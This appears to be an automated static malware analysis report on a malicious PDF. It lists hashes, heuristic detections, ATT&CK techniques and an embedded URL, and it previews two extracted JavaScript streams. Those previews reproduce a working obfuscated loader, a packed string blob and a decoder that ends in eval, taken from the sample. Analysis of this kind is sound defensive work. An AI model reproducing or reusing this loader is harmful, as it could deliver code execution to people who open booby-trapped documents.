Malicious PDF — malware analysis report

Static analysis result for SHA-256 c0dac10b01efc36e…

MALICIOUS

PDF

2.6 KB First seen: 2013-03-02
MD5: 1ff3f99a381bf08b6254f9ebf2665b5c SHA-1: c1c0c638de9414af910d81a3f162241b116e0287 SHA-256: c0dac10b01efc36eb8a99e2ac99a4586e1bc03f4c4f32d0263a2a301cd65d121
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: Malicious File

This PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The 'PDF_EVAL' and 'PDF_FROMCHARCODE' firings suggest the script is obfuscated and likely uses dynamic code execution to evade detection. The ML classifier strongly flags this PDF as malicious. The primary attack pattern involves leveraging these JavaScript capabilities to execute arbitrary code, which is commonly used to download and run further malicious payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(yzendsx);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj1179811_000.js pdf-javascript-stream PDF /JS object 1179811 at offset 0x19A 2514 bytes
SHA-256: afabf12a2d372bf65eb4ca445c20481819280e400f0f76ce4a5d10e139b04f8f
Preview script
First 1,000 lines of the extracted script
kujzez="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";hmioh="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3NV,.ZX>K6?Q:JQCN2*Eg2**.3OZ+,EGgR<?*XK8Tc2<R+4.?gJK96+_2-TK,4-^2;O`1:O:g]._Z9K96*>34W:K4Kh_3dLQ:NQ?,.[@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2<?*,.,OXK9BcV35+8K*5_R:**2<[QK,4T*:Qi1:NL_G,DCAR;bEV32R?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK/HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,<R*:J>W_3f1/K3B3_2+Ha.**,.VCc:LTJ.3jK_32W1:PP?e.Gaf,<4/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8OQZJ**:J**:J**:J**:J**:J**:J**:J**:QC?>3O??K8Xf2=*>.2TY>K4_fc<UJ,.eQ@K4XeV3[H/,G;;B;:O/K*,W2=VTT.Z/?K8VRV3@Q<K8U`B=V>@.?3>R=/*.3ag4.?hFK8Oa:KKJ+,@5cR<]Y/,8,::LVCV2>?UR=[@?,<SB>2CUJK*,=R:**2:^*O,*@KN2**.2]fXK9Z3:J/RC,**+,4-^2=d4i.Rdb:KP+4.*W-2:**2:]ffR:,_W,**+,+3O_3:^gK**,ZM-*,.,=5R<KQd,**/K6**K0A66K9Z3:J/RC,**+,CU-2<c]?2=8CG,IJ<K*5:].**,.GbLK5OH4.Vf4:M8W4.?A+:PD/B==4]K6b;:O`+<K*OR:K?IN2**@.O:*K+GER;ObG,D-T:J<*V3<bd,**/K9.*:M5QG,IJ<K*5:].**,._[_R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I[>3DaI,@WD_3PdD.,M-2=ZGV2BC5B:,TU,EGSN3P8O,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR;<XW,FfWK8S`R=4h@.Ub@K8GZR<W8].>*+,Gb?K/*U2:Xh@.?jC,*1C,45_R;>XS,/bYK8h::J*R2;?Hi.>,TZKE<C,4>@_2U`/K8^VK8^VK8VUR=S/a.efU:QF@_2RY@K8X?N2@_LZKGd_3bT,.OC::NUX/,*.XK+**1Lga89,.2;FZBLZbOf*+j9L-L=6QEU@A9^I=Ri_@.93,WMMZK,.A602b_e:F:0XR***:aL9?KY5a*-iI.9;*DdIHE11K,.2XB6<GJ^eBJcL1GI8C7U_g:JJ..22+*H5^Bcg2:K3a-9SL-L@DPVbaSRhQB6iP9C0iQE^Bcg2:K/^+L=BY^F7QVV:F;e-@-JF-JF:aL*``***5[-E2-A>***E11K,.3CD6;eXB6;FY87CT/_d+[*E.A5^M@DKG8;I.P[IPcE9CCV;FY87CT/_d-_HLAM:FH.2:K,600Q7_XAQ0V`,eFbC+[3a-9SL1RN^3ae`O^Bcg2:K-<FH.2:LdJ[0JhIU-c]i9]-L2G`gdNaY=[*,9/dVFH.2:KiVDPiNHW+ej@1[OgIY^I=Ri_@.A[*DeJ*APJhIU-c]i9]1RF;R9AeZi6YMhVFH.2:M:HY`KgCI1d+[-ZI9[c2HL7+ej@1[OgIWMMZK,.C76jA5A9^iWEWa09ZjU:a15=U`R9AeZi6YMiga89,.72";iwjtd6=2757;
javascript_obj1179812_001.js pdf-javascript-stream PDF /JS object 1179812 at offset 0x89D 495 bytes
SHA-256: 0c3bfac9c446fd6a0f7a4914aded51f9fb05238eeacaef58be7a92ffb05aa723
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
izctetb=new Array();while(kujzez.length){izctetb.push((kshwdue(kujzez.charCodeAt(0))<<6)+kshwdue(kujzez.charCodeAt(1))-512);kujzez=kujzez.slice(2,kujzez.length)}crhwks=ishvc=kujzez=0;yzendsx='';function kshwdue(gmerxq){if(gmerxq>92)gmerxq--;return gmerxq-42}function eqyrgug(){if(kujzez==0){ishvc=kshwdue(hmioh.charCodeAt(crhwks++));kujzez=6;}return ((ishvc>>--kujzez)&0x01);}while(iwjtd6--){i=0;while(izctetb[i]<0){if(eqyrgug())i=-izctetb[i];else i++;}yzendsx+=String.fromCharCode(izctetb[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.